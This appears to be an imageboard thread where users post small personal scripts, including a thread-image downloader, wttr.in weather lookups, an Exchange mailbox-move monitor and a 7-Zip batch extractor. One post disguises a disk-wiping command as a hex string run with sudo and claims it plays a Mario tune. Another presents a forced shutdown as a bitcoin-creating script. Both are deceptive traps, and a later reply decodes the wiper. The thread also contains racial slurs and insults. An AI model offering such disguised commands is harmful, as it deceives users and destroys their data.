Useful Scripts You've Written

Post code of small useful scripts that you actually use.

Downloads every image in a Sup Forums thread, written in Python 3. (I tried posting the code here but it triggered 4chans xss filter)
pastebin.com/MjtawmQM

Other urls found in this thread:

wttr.in/54143
wttr.in/49858
wttr.in/54157
twitter.com/NSFWRedditImage

The only script I've written is a script that remounts my /tmp and /var with exec before makepkg and then remounts them noexec again afterwards. I need to step up my script game.

sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)

Plays the Mario dungeon tune on a loop. Winfags wish they could do this.

>useful

Pretty sure nothing in that code has to do with sound.

>being this new

>being stupid
over
>being new

Oh don't worry I'm still stupid. Used Google to look up those commands instead of man pages.

#!/bin/bash
while :
do
sleep 1
done

mummy...

BE CAREFUL!! THIS CREATES MUSTARD GAS

I'm getting the impression nobody on Sup Forums knows how to program

stop posting this dumb whore

Show current mailbox moves in Exchange 2010+

Function Show-Moves {
$dbstring1 = Get-MailboxDatabaseCopyStatus |fl DatabaseName |Out-String
$dbstring2 = $dbstring1.Split(" ")
$dbstring3 = $dbstring2.Get(2)
$dbstring = [STRING]::Concat($dbstring3,'*')
$moves = Get-MoveRequest -ResultSize Unlimited |Where {$_.SourceDatabase -like $dbstring -or $_.TargetDabase -like $dbstring}
$showmoves = $moves |group -NoElement status |sort -Descending count |ft count,values -a
$showmoves
Write-Host -ForegroundColor Green "Sleeping for 5 seconds"
Start-Sleep -Seconds 5
$moves = ""
$showmoves = ""
Show-Moves
}

...

Just let us have this one, Rasputin

Do you know who you are talking to, пpecтyпнaя нaкипь?

Checking the weather for local cities

#!/bin/sh

arg=${1}

if [ "$arg" = "marinette" ]
then
curl wttr.in/54143
elif [ "$arg" = "menominee" ]
then
curl wttr.in/49858
elif [ $arg" = peshtigo" ]
then
curl wttr.in/54157
else
curl wttr.in/54157
fi

DON'T DO THIS, IT SUMMONS BLACK NIGGERS ALL AROUND YOU

I"M ON THE RUN RIGHT NOW

-- Sent from my iPhone

>#!/bin/sh
[ ! "$1" ] && exit 1
case $1 in
(menominee) url=49858;;
(marinette ) url=54143;;
(peshtigo ) url=54157;;
(* ) url=54157;;
esac
curl "wttr.in/$url" || printf ":^)\\n"

>parsing HTML manually like that
shiggy the diggy, OP.

Use beautiful soup or similar if you really want to parse HTML like that. Better yet, just use the JSON API.

Why? I mean it would take some serious change to how Sup Forums stores image thumbnails and their actual links to break this, this worked just fine.

how bout a Sup Forums image downloader

someone... anyone... I just want to know how to make one ;_;

Literally a link to one in the op

Nice try. Saving this for later

If no argument is supplied then it uses the default zip code (54157). You could even get rid of the Peshtigo entry because it would still default to 54157.
declare -A codes=(["marinette"]="54143" ["menominee"]="49858" ["peghtigo"]="54157")
code=${codes[$1]}
curl wttr.in/"${code:-54157}"

See this?
html[open_index+6

It's hard to understand what the 6 is doing without thinking about it, it's not very self-documenting code. Also, having magic numbers is Bad Practice™.

@echo off
setlocal EnableDelayedExpansion
if errorlevel 1 (
echo Unable to enable Delayed variable expansion
exit /B
)

set debug=no
set destination=%cd%
set single_dir=no

if -%1-==-- goto loopend

:argloop
if %1==--debug (
set debug=yes
) else if %1==-d (
set debug=yes
) else if %1==--single-directory (
set single_dir=yes
) else if %1==-sd (
set single_dir=yes
) else if %1==--output-directory (
set destination=%~2
shift
) else if %1==-od (
set destination=%~2
shift
) else if %1==here (
set single_dir=yes
set destination=.
goto loopend
) else if %1==-h (
goto printHelp
) else if %1==--help (
goto printHelp
)
shift
if not -%1-==-- goto argloop

:loopend
if not !destination:~-1!==\ (
if not !destination:~-1!==/ (
set destination=!destination!\
)
)

if !single_dir!==yes (
if "!destination!" == "%cd%\" (
set destination=!destination!archives\
)
)

for %%i in (*) do (
set _procfile=no
if %%~xi==.zip set _procfile=yes
if %%~xi==.rar set _procfile=yes
if %%~xi==.tar set _procfile=yes
if %%~xi==.gz set _procfile=yes
if %%~xi==.7z set _procfile=yes
if !_procfile!==yes (
if !single_dir!==no (
set tmp_dst=!destination!%%~ni
if !debug!==yes (
echo 7z.exe x -r -o"!tmp_dst!" "%%i"
) else (
call 7z.exe x -r -o"!tmp_dst!" "%%i"
)
) else (
if !debug!==yes (
echo 7z.exe x -r -o"!destination!" "%%i"
) else (
call 7z.exe x -r -o"!destination!" "%%i"
)
)
)
)
exit /B
It uses 7zip to extract the contents of every archive in a directory

Anti-UNIX and bloat

wget -qO - "$URL" | grep -Eo '//i.4cdn.org[^"]+' | grep -v 's' |uniq | sed 's/^/http\:/' | xargs wget

This could all be one wget command

>muh UNIX way
>every tool is as full features as a programming language

>grep -v 's'
What if the board has an 's' in it?

create-2-bitcoins-in-5mins.sh (requires root though)
#!/bin/bash
sudo halt -f

Those boards are for gays

or just grep -v '[0-9]s\.'

what it does is this echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p
dd if=/dev/zero of=/dev/sda count=100 bs=1M


so its not mario dungeon its the freakin pacman theme. what a joke